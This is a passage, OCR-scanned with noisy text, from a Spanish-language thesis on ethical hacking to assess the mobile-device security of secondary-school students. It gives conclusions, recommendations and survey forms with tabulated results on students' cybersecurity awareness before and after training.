para la Facultad de Ciencias Econdmicas de la Universidad Nacional de Tucuman, Argentina. Los
resultados indicaron que, debido a la sensibilidad de la informacién manejada, es esencial capacitar
en la proteccion de datos personales. Este hallazgo refuerza la importancia de ofrecer formacion
en ciberseguridad, no solo a los estudiantes, sino también al personal académico y administrativo
que tiene acceso a sistemas informaticos. En esta investigacion, estamos de acuerdo con la
importancia de capacitar a todo el personal académico sobre las buenas practicas de
ciberseguridad, especialmente si tiene acceso a sistemas informadticos, y creemos que estas

capacitaciones deben basarse en estandares internacionales, como la normativa ISO.
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Conclusiones y Recomendaciones

Conclusiones

La investigacion reveld que los dispositivos moviles utilizados por los estudiantes de la
Unidad Educativa 17 de Julio presentan vulnerabilidades significativas, principalmente debido al
uso de redes Wi-Fi no seguras y la instalacion de aplicaciones maliciosas. El analisis, realizado
mediante técnicas de hacking ético conforme a la norma ISO 27005, identificé riesgos asociados
a la confidencialidad, integridad y disponibilidad de los datos. Este diagndstico evidencid la
urgente necesidad de fortalecer las medidas de proteccion digital en los dispositivos de los
estudiantes.

Durante las pruebas de hacking ético, se identificaron técnicas comunes de ataque, como
el uso de puntos de acceso Wi-Fi falsos y la distribucion de aplicaciones maliciosas mediante
codigos QR. Estos ataques demuestran como los estudiantes pueden ser victimas de ingenieria
social, exponiendo datos personales y académicos. Los hallazgos subrayan la importancia de
educar a los estudiantes sobre los riesgos asociados con estas practicas, lo cual es esencial para
mitigar los riesgos y promover una cultura de seguridad en el uso de la tecnologia.

El andlisis detallado evidenci6 que muchas de las vulnerabilidades criticas, como el uso de
redes Wi-Fi no seguras y la descarga de aplicaciones no verificadas, se originan en la falta de
conocimiento técnico entre los estudiantes. Estas brechas de seguridad aumentan el riesgo de
malware, robo de informacion y violaciones de privacidad. Al identificar estas vulnerabilidades,
fue posible priorizar soluciones précticas, como el uso de redes privadas virtuales (VPN) y la
actualizacion constante de software, que resultan ser medidas eficaces para reducir los riesgos.

Las capacitaciones impartidas tuvieron un impacto significativo en los estudiantes, quienes

mostraron un mayor interés en comprender y aplicar medidas de seguridad en sus dispositivos
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moviles. Este cambio se reflejo en una actitud més responsable hacia la proteccion de sus datos
personales y académicos, promoviendo practicas mas seguras en su interaccion digital. La
formacion no solo aument6 su conocimiento, sino también su disposicidon para implementar estas
medidas de manera consistente.

La distribucion del manual de buenas practicas de ciberseguridad marco un hito importante
en el fortalecimiento de las habilidades de los estudiantes para proteger sus dispositivos méviles.
Este material, que abarca desde la configuracion de contrasefias seguras hasta la identificacion de
ataques de phishing, se convirti6 en una guia clave para mejorar la seguridad digital de los
estudiantes. Los resultados indican que, aunque los estudiantes ahora se sienten mas capacitados
para enfrentar amenazas, es necesario seguir incentivando el uso continuo de estas practicas,

integrandolas en su rutina académica para asegurar su efectividad a largo plazo.
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Recomendaciones

Se recomienda que la institucion educativa organice talleres practicos sobre ciberseguridad
dirigidos a los estudiantes, con el objetivo de ensefarles a proteger tanto sus dispositivos moviles
como su informacioén personal. Estos talleres deben incluir temas clave como la creacion de
contrasefias seguras, la importancia de mantener el software actualizado, la identificacion de redes
Wi-Fi confiables y la prevencion de ataques de ingenieria social, como mensajes fraudulentos o
enlaces sospechosos. Con esta formacion, los estudiantes podran adoptar habitos de ciberseguridad
basicos, que los protegeran tanto en su vida diaria como en su actividad académica.

Es fundamental implementar un programa anual de auditorias y simulaciones de
ciberataques dentro de la institucion educativa para evaluar las préacticas de seguridad digital de
los estudiantes y detectar nuevas vulnerabilidades en sus dispositivos moéviles. Estas auditorias
pueden incluir ejercicios practicos, como el andlisis de conexiones a redes Wi-Fi publicas,
simulaciones de ataques de ingenieria social y pruebas de deteccion de malware. De este modo,
los estudiantes no solo aprenderan a identificar amenazas, sino que también estaran mejor
preparados para defenderse de ellas.

También se sugiere impulsar campafias permanentes que incentiven el uso de herramientas
de proteccion digital, tales como antivirus, firewalls, VPN y autenticacion multifactorial. Estas
campafias pueden incluir demostraciones practicas que ensefien a los estudiantes como instalar,
configurar y utilizar estas herramientas. Es esencial resaltar los beneficios especificos que estas
soluciones ofrecen, como la proteccion de los datos personales y la reduccion de riesgos al navegar
por internet o conectarse a redes publicas. De esta manera, los estudiantes estaran mas motivados

para utilizar estas herramientas de forma efectiva.
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El manual de buenas practicas de ciberseguridad debe ser distribuido no solo en la
institucidn, sino también en otras unidades educativas de la provincia. Para ello, es importante
colaborar con autoridades escolares y docentes para que los profesores lo utilicen como una
herramienta para concientizar a los estudiantes sobre la proteccion de sus dispositivos y datos. Esta
iniciativa contribuird a realizar estudios similares en otras instituciones, lo que permitird obtener
un panorama mas amplio y representativo del nivel de conocimiento en ciberseguridad entre los
estudiantes, fortaleciendo asi las estrategias educativas a nivel regional.

Por ultimo, se recomienda fomentar las buenas practicas en ciberseguridad a través de
campafias educativas en los diferentes canales de comunicacion utilizados por los estudiantes,
como redes sociales y sitios web oficiales. Estas plataformas pueden aprovecharse para difundir
contenido dindmico, como videos, infografias y publicaciones interactivas, que expliquen de
manera clara los riesgos asociados al mal uso de dispositivos méviles y como prevenir los ataques.
Ademas, involucrar a los estudiantes en la creacion y difusion de estos mensajes les permitira
convertirse en agentes de cambio, promoviendo una cultura de seguridad digital y fortaleciendo su

propio conocimiento en este campo desde edades tempranas.
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Anexos

Anexo 1: Formato Encuesta Preliminar realizada

’Ppﬂ!-

z e

= l-lll-I UNIVERSIDAD TECNICA DEL NORTE
fld & VICERRECTORADO ACADEMICO

i e INGENIERIA EN TELECOMUNIC ACIONES

Provecie tesis. “HACKING ETICO PARA IDENTIFICACION DE
VULNERABILIDADES EN DISPOSITIVOS MOVILES UTILIZADOS POR

ESTUDIANTES EN EDUCACION MEDIA SUPERIOR™

Objetiva de la encuesta: Evaluar el nivel de conecimiento sobre seguridad
informatica entre estudiantes de educacidn media superior para promover la conciencia
sohre la proteccion de datos en el estorno digical.

Instrscciones:

# Responde a las siguientes preguntas con sinceridad. Tus respuestas seran

andnimas ¥ se utilizardn dnicamente para fines de investigacidn.

1. 2Has escuchado hablar de ciberseguridad?

SO Mo (3

2. Qué tanto sabes sobre la ciberseguridad?
1= Bajo o
25% Muy bajo =
0%, Medio o
75% Al -
1005 Muy Alin o

3. JCrees que tus datos personales san vulnerahles a ataques informaricns?
S50 Mo (O

4. J0ué tan importante conskderas que son tes datos personales?

[k gran importancia -
D poca importancia -
Minguna -]

(7] [
FICA
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UNIVERSIDAD TECNICA DEL NORTE
VICERRECTORADO ACADEMICO
INGENIERIA EN TELECOMUMNIC ACIONES
5. 2Qué medidas iomas para proteger s datos personales? Ejemplo:
Antivirus
Encriptar la informacidn
Lhilizar claves para acceso a archivos

Oeuliar archivo o carpetas

Nov compartes informacidn sensible

0 0O0O00O0

Utilizar redes privadas virtuales para conectarte a redes publicas

(hiros

& Conoces alguna herramienta para proteger s datos personales?
Antivirus ©
Firewall

Servidoees proxi
Antispyware
Generadores de contrasela

Redes privadas virtsales

0 00000

Escaner de vulnerahilidades

iiros

7. JAlgina vez wsted o su entorno familiar ha sufeida algin rebo de informacion
digital o ataque cibernético?
3O Mo

B. 250 tu respuesta anterior es S1jque tipo de informacion fue sustraida en el atagque?

Informacidn personal o
Claves (]
Tarjetas de bancarias )
Ctros:

FICA



&

v

)
,_Ea"

176

UNIVERSIDAD TECNICA DEL NORTE
VICERRECTORADO ACADEMICO
INGENIERIA EN TELECOMUNICACIONES
9. Mecanismo de atague
Mensaje por SMS

Corredo,

lamada

O 000

Link para robo de contrasefias

Otros

10. ; Te gustaria conocer los mecanismos para proteger tu informacidn personal?
5O No O

11. ;Conoces Alguna herramienta de hacking?
Flipper o
Ush Killer
Kali Linux
Keyloguer

Adrcrack

0 0 0O

Tepdum

Otros

12, ;O sistema operativo tiene tu dispositivo midwvil?
Android O

Especifica la versidn

105 O

Especifica la versidn

Gracias por tu participacitn

T [
FICA
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Anexo 2: Tabulacion de resultados de la encuesta preliminar

En la Tabla 13 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los

estudiantes de educacion media superior para la pregunta #1.

1. ;Has escuchado hablar de ciberseguridad?

Tabla 12

Tabla de la primera pregunta en la encuesta preliminar

Pregunta 1
Respuestas Encuestados %
SI 131 54%
NO 112 46%
TOTAL 243 100%

Nota. En la tabla se observa los resultados de la primera pregunta de la encuesta

En la Tabla 14 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los

estudiantes de educacion media superior para la pregunta #2.

2. (Qué tanto sabes sobre la ciberseguridad?

Tabla 13

Tabla de la segunda pregunta en la encuesta preliminar

Pregunta 2
Respuestas Encuestados %
100% Muy Alto 1 0,41%
75% Alto 4 1,65%
50% Medio 25 10,29%
25% Bajo 106 43,62%

0% Muy Bajo 107 44,03%
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TOTAL 243 100%

Nota. En la tabla se observa los resultados de la Segunda pregunta sobre la ciberseguridad

En la Tabla 15 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los
estudiantes de educacion media superior para la pregunta #3.

3. (Crees que tus datos personales son vulnerables a ataques informaticos?
Tabla 14

Tabla de la tercera pregunta en la encuesta preliminar

Pregunta 3
Respuestas Encuestados %
SI 137 56%
NO 106 44%
TOTAL 243 100%

Nota. En la tabla se observa los resultados de la tercera pregunta sobre los ataques informaticos
En la Tabla 16 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los
estudiantes de educacion media superior para la pregunta #4.

4. (Qué tan importante consideras que son tus datos personales?

Tabla 15

Tabla de la cuarta pregunta en la encuesta preliminar

Pregunta 4
Respuestas Encuestados %
De gran importancia 135 56%
De poca importancia 10 4%
Ninguna 98 40%
TOTAL 243 100%

Nota. En la tabla se observa los resultados de la cuarta pregunta sobre los datos personales
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En la Tabla 17 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los

estudiantes de educacion media superior para la pregunta #5.

5. ¢Qué medidas tomas para proteger tus datos personales?

Tabla 16

Tabla de la quinta pregunta en la encuesta preliminar

Pregunta S
Respuestas Encuestados
Antivirus 54
Encriptar la informacion 41
Utilizar claves para acceso a archivos 67
Ocultar archivo o carpetas 27
No compartes informacion sensible 69
Utilizar redes privadas virtuales para conectarte a redes publicas 33
Otros 3
TOTAL 294

Nota. En la tabla se observa los resultados de la quinta pregunta sobre los datos personales
En la Tabla 18 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los
estudiantes de educacion media superior para la pregunta #6.

6. (Conoces alguna herramienta para proteger tus datos personales?

Tabla 17

Tabla de la sexta pregunta en la encuesta preliminar

Pregunta 6

Respuestas Encuestados

Antivirus 71
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Firewall 70
Servidores proxi 7
Antispyware 52
Generadores de contraseia 64
Redes privadas virtuales 15
Escéaner de vulnerabilidades 7
Otros 7

TOTAL 293

Nota. En la tabla se observa los resultados de la sexta pregunta sobre los datos personales

En la Tabla 19 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los
estudiantes de educacion media superior para la pregunta #7.

7. (Alguna vez usted o su entorno familiar ha sufrido algin robo de informacion

digital o ataque cibernético?

Tabla 18

Tabla de la séptima pregunta en la encuesta preliminar

Pregunta 7
Respuestas Encuestados %
SI 70 29%
NO 173 71%
TOTAL 243 100%

Nota. En la tabla se observa los resultados de la séptima pregunta sobre los ataques informaticos
En la Tabla 20 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los

estudiantes de educacion media superior para la pregunta #8.



8. ¢Si tu respuesta anterior es SI ;qué tipo de informacion fue sustraida en el

ataque?

Tabla 19

Tabla de la octava pregunta en la encuesta preliminar
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Pregunta 8
Respuestas Encuestados %
Informacién Personal 37 48%
Claves 17 22%
Tarjetas Bancarias 17 22%
Otros 6 8%
TOTAL 77 100%

Nota. En la tabla se observa los resultados de la octava pregunta que es consecutiva a la

séptima pregunta, que solamente contestaron 77 encuestados.

En la Tabla 21 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los

estudiantes de educacion media superior para la pregunta #9.

9. (Mecanismo de ataque?

Tabla 20

Tabla de la novena pregunta en la encuesta preliminar

Pregunta 9
Respuestas Encuestados %
Mensajes cortos de telefonia 14 17%
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Correo 19 23%

Llamada 10 12%

Link para robo de contrasefias 31 44%
Otros 3 4%

TOTAL 77 100%

Nota. En la tabla se observa los resultados de la novena pregunta que es consecutiva a la

octava pregunta, que solamente contestaron 77 encuestados.

En la Tabla 22 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los

estudiantes de educacion media superior para la pregunta #10.

10. ;Te gustaria conocer los mecanismos para proteger tu informacion personal?

Tabla 21

Tabla de la décima pregunta en la encuesta preliminar

Pregunta 10

Respuestas Encuestados %
SI 144 59%
NO 99 41%
TOTAL 243 100%

Nota. En la tabla se observa los resultados de la décima pregunta sobre la proteccion de la

informacion personal

En la Tabla 22 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los

estudiantes de educacion media superior para la pregunta #11.
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11. ;Conoces Alguna herramienta de hacking?
Tabla 22

Tabla de la onceaba pregunta en la encuesta preliminar

Pregunta 11

Respuestas Encuestados
Flipper 34
Usb Killer 34
Kali Linux 23
Keyloguer 16
Aircrack 34
Tepdum 33
Otros 119
TOTAL 293

Nota. En la tabla se observa los resultados de la onceaba pregunta sobre las herramientas
de hacking

En la Tabla 24 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los
estudiantes de educacion media superior para la pregunta #12.

12. ;Qué sistema operativo tiene tu dispositivo Madvil?
Tabla 23

Tabla de la doceava pregunta en la encuesta preliminar

Pregunta 12

Respuestas %
Android 96%

i0S 4%
TOTAL 100%

Nota. En la tabla se observa los resultados de la doceava pregunta sobre las herramientas

de hacking



185

Anexo 3: Evidencia Fotografica Encuestas







Anexo 4: Formato Encuesta Final realizada
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E -—-]ﬁ\ UNIVERSIDAD TECNICA DEL NORTE
s VICERRECTORADD ACADEMICO
e INGENIERIA EN TELECOMUNICACIONES

Proyecio tesis: “HACKING ETICO PARA IDENTIFICACION DE
VULNERABILIDADES EN DISPOSITIVOS MOVILES UTILIZADOS POR

ESTUDIANTES EN EDUCACION MEDIA SUPERIOR™

Objetivo de la encuesta: Evaluar el nivel de conocimientos relacionados a
seguridad informatica en los estudiantes de educacion media superior para fomentar una
mayor conciencia y practicas seguras en la proteccion de datos en el entorno digital. Una
vez recibidas las charlas de concientizacion
Instrucciones:

» Responde a las siguientes preguntas con sinceridad. Tus respuestas serdn

andnimas v se utilizarn (nicamente para fines de investigacidn.

1. ;Queé tanto sabes sobre Cibersepuridad?

Alta -
Medio ]
Bajo o

2. jActualmente cudles son las medidas de ciberseguridad para tus dispositivos moviles?
(Selecciona uno o varios)
Usno de contrasefia, PIN o patron de blogueo.
Mantengo el celular v las aplicaciones actualizadas.

Evito conectarme a redes Wi-Fi publicas.

0000

Mo descargo aplicaciones de paginas desconocidas.

e
FICA
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3. ;Cudndo instalas una aplicacion para tu dispositivo méawvil, validas o verificas la fuente
y los permisos de la aplicacion®

Si¢O No O

4. ;Sabes identificar una red Wifi Insegura?
51, v evito conectarme a ellas.
5i, pero me conecto si es necesario.

Mo estoy seguro’a de como identificar una red insegura,

O 0 00

M, no sé como hacerlo.

5. ¢ Con qué frecuencia realizas copias de seguridad de tus archivos y datos importantes?

Regularmente o
Ocasionalmente o
Solo cuamdn cambio de dispositivo. L]
Nunea. o

G. jOué fan Importante consideras la poblicacion de datos que comprometen o
privacidad?

Bajo [ Medioc O Alta O

T. ;Sabiendo que un codigo QR malicioso podria clonar to dispositivo o robar tu
informacion personal, jestarias dispuestoda escanearlo sin utilizar una aplicacion gque
detecte codigos QR falsos?

SO No O

e
FICA
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8 ;Una ver gue conoces las herramientas de andlisis de Trafico que tan probable es

que utilices estas herramientas para los dispositivos?

Muy probable -
Probable )
Poro probable o
Mada probable ]

9. gAhora gue conoces las medidas de proteccion de cibersepuridad compartes con
amigos o familiares para ayvudarlos a protegerse?

Siempre Aoveres (3 MNuma O

10. ;Estarias interesado en aprender mads sobre téenicas avanzadas de ciberseguridad,
como hacking ético?

5 i)

No -

11. 5i estas interesado en conocer mas sobre cibersepuridad déjame tu comeo o teléfono

para brindarme mas informacidn

51 has sido victima de un incidente de ciberseguridad, como robo de
informacidn o clonaciin de tu dispositivo, contdctame para ayudarte.” Correo de

contacto: erazo.isracl8 @ gmail com

Gracias por tu participacidin

aallea
FICA
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Anexo S: Tabulacion de resultados de la encuesta final

En la Tabla 25 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los
estudiantes de educacion media superior para la pregunta #1.

1. ;Qué tanto sabes sobre Ciberseguridad?

Tabla 24

Tabla de la primera pregunta en la encuesta final

Pregunta 1
Respuestas Encuestados %
ALTO 66 27%
MEDIO 92 38%
BAJO 85 35%
TOTAL 243 100%

Nota. En la tabla se observa los resultados de la primera pregunta sobre el conocimiento de
ciberseguridad
En la Tabla 26 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los
estudiantes de educacion media superior para la pregunta #2.
2. (Actualmente cuales son las medidas de ciberseguridad para tus dispositivos
moviles?
Tabla 25

Tabla de la segunda pregunta en la encuesta final

Pregunta 2
Respuestas Encuestados
Uso de contrasefia, PIN o patron de bloqueo 109
Mantengo el celular y las aplicaciones actualizadas. 78

Evito conectarme a redes Wi-Fi publicas. 109
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No descargo aplicaciones de paginas desconocidas. 76

TOTAL 243

Nota. En la tabla se observa los resultados de la segunda pregunta sobre las medidas de

ciberseguridad

En Tabla 27 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los

estudiantes de educacion media superior para la pregunta #3.

3. ¢Cuando instalas una aplicacion para tu dispositivo movil, validas o verificas la

fuente y los permisos de la aplicacion?

Tabla 26

Tabla de la tercera pregunta en la encuesta final

Pregunta 3
Respuestas Encuestados %
SI 109 45%
NO 134 55%
TOTAL 243 100%

Nota. En la tabla se observa los resultados de la tercer pregunta sobre la instalacion de aplicaciones
no verificadas

En la Tabla 28 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los
estudiantes de educacion media superior para la pregunta #4.

4. (;Sabes identificar una red Wifi Insegura?

Tabla 27

Tabla de la cuarta pregunta en la encuesta final

Pregunta 4

Respuestas Encuestados %
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Si, y evito conectarme a ellas. 30 12%

Si, pero me conecto si es necesario. 28 11%

No estoy seguro/a de como identificar una red insegura. 89 37%
No, no sé como hacerlo. 96 40%

TOTAL 243 100%

Nota. En la tabla se observa los resultados de la cuarta pregunta sobre la identificacion de una red
Wifi falsa

En Tabla 29 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los
estudiantes de educacion media superior para la pregunta #5.

5. ¢(Con qué frecuencia realizas copias de seguridad de tus archivos y datos

importantes?

Tabla 28

Tabla de la quinta pregunta en la encuesta final

Pregunta S
Respuestas Encuestados %
Regularmente 18 7%
Ocasionalmente 107 44%
Solo cuando cambio de dispositivo. 95 39%
Nunca. 23 10%
TOTAL 243 100%

Nota. En la tabla se observa los resultados de la quinta pregunta sobre la copia de seguridad de la
informacion.
En la Tabla 30 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los

estudiantes de educacion media superior para la pregunta #6.
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6. ¢Qué tan Importante consideras la publicacion de datos que comprometen tu
privacidad?
Tabla 29

Tabla de la sexta pregunta en la encuesta final

Pregunta 6
Respuestas Encuestados %
ALTO 106 44%
MEDIO 81 33%
BAJO 56 23%
TOTAL 243 100%

Nota. En la tabla se observa los resultados de la sexta pregunta sobre la publicacion de datos.
En la Tabla 31 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los
estudiantes de educacion media superior para la pregunta #7.

7. ¢Sabiendo que un codigo QR malicioso podria clonar tu dispositivo o robar tu
informacion personal, ;estarias dispuesto/a escanearlo sin utilizar una aplicacion
que detecte codigos QR falsos?

Tabla 30

Tabla de la séptima pregunta en la encuesta final

Pregunta 7
Respuestas Encuestados %
SI 49 20%
NO 194 80%
TOTAL 243 100%

Nota. En la tabla se observa los resultados de la séptima pregunta sobre los QR Falsos.
En la Tabla 32 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los

estudiantes de educacion media superior para la pregunta #8.
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8. ¢Una vez que conoces las herramientas de analisis de Trafico que tan probable
es que utilices estas herramientas para los dispositivos?
Tabla 31

Tabla de la octava pregunta en la encuesta final

Pregunta 8
Respuestas Encuestados %
Muy probable 100 41%
Probable 55 23%
Poco probable 75 31%
Nada probable 13 5%
TOTAL 243 100%

Nota. En la tabla se observa los resultados de la octava pregunta sobre el analisis de trafico.

En la Tabla 33 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los
estudiantes de educacion media superior para la pregunta #9.

9. ¢Ahora que conoces las medidas de proteccion de ciberseguridad compartes con

amigos o familiares para ayudarlos a protegerse?

Tabla 32

Tabla de la novena pregunta en la encuesta final

Pregunta 9
Respuestas Encuestados %
Siempre 96 40%
A veces 127 52%
Nunca 20 8%
TOTAL 243 100%

Nota. En la tabla se observa los resultados de la novena pregunta sobre la comparticion de métodos

en ciberseguridad.
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En la Tabla 34 se indica la tabulacion de los datos obtenidos en la encuesta realizada a los
estudiantes de educacion media superior para la pregunta #10.
10. ;Estarias interesado en aprender mas sobre técnicas avanzadas de
ciberseguridad, como hacking ético?
Tabla 33

Tabla de la décima pregunta en la encuesta final

Pregunta 10

Respuestas Encuestados %
SI 199 82%
NO 44 18%
TOTAL 243 100%

Nota. En la tabla se observa los resultados de la décima pregunta sobre técnicas avanzadas de

hacking ético.



197

Anexo 6: Evidencia Fotografica Charlas
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Anexo 7: Evidencia Fotografica entrega Manual de buenas Practicas Ciberseguridad

revisado

PRINCIPAL
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